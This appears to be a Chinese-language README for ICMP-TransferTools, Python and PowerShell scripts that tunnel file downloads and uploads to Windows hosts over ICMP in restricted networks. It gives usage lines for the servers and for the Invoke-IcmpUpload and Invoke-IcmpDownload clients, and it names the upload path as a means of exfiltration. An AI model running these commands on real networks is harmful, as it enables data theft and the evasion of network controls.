ICMP-TransferTools 是一套脚本,旨在在受限网络环境中向 Windows 主机传输文件或从 Windows 主机传出文件。这通过总共 4 个不同的文件实现,包括一个 Python 服务器和一个 PowerShell 客户端,分别用于每个传输方向(下载和上传)。
唯一需要的依赖是 Impacket,用于其中一个 Python 脚本。可以通过 pip 安装,如下所示:
pip3 install impacket
包含的 ICMP-SendFile.py 和 Invoke-IcmpDownload.ps1 脚本可用于通过 ICMP 下载文件到 Windows 主机。
必须首先运行 Python 服务器以准备要下载的文件。以下是脚本的用法:
usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file
ICYGUIDER'S ICMP FILE DOWNLOAD SERVER
positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
导入后,PowerShell 客户端可以如下使用以下载准备好的文件:
Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
以下是快速演示:

包含的 ICMP-ReceiveFile.py 和 Invoke-IcmpUpload.ps1 脚本可用于通过 ICMP 从 Windows 主机上传/泄露文件。
必须首先运行 Python 服务器以确保其准备好接受客户端的请求。以下是脚本的用法:
usage: ICMP-ReceiveFile.py [-h] src file
ICYGUIDER'S ICMP FILE UPLOAD SERVER
positional arguments:
src Public IP Address of client
file File to write data to
optional arguments:
-h, --help show this help message and exit
导入后,PowerShell 客户端可以如下使用以上传所需文件:
Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
以下是快速演示:
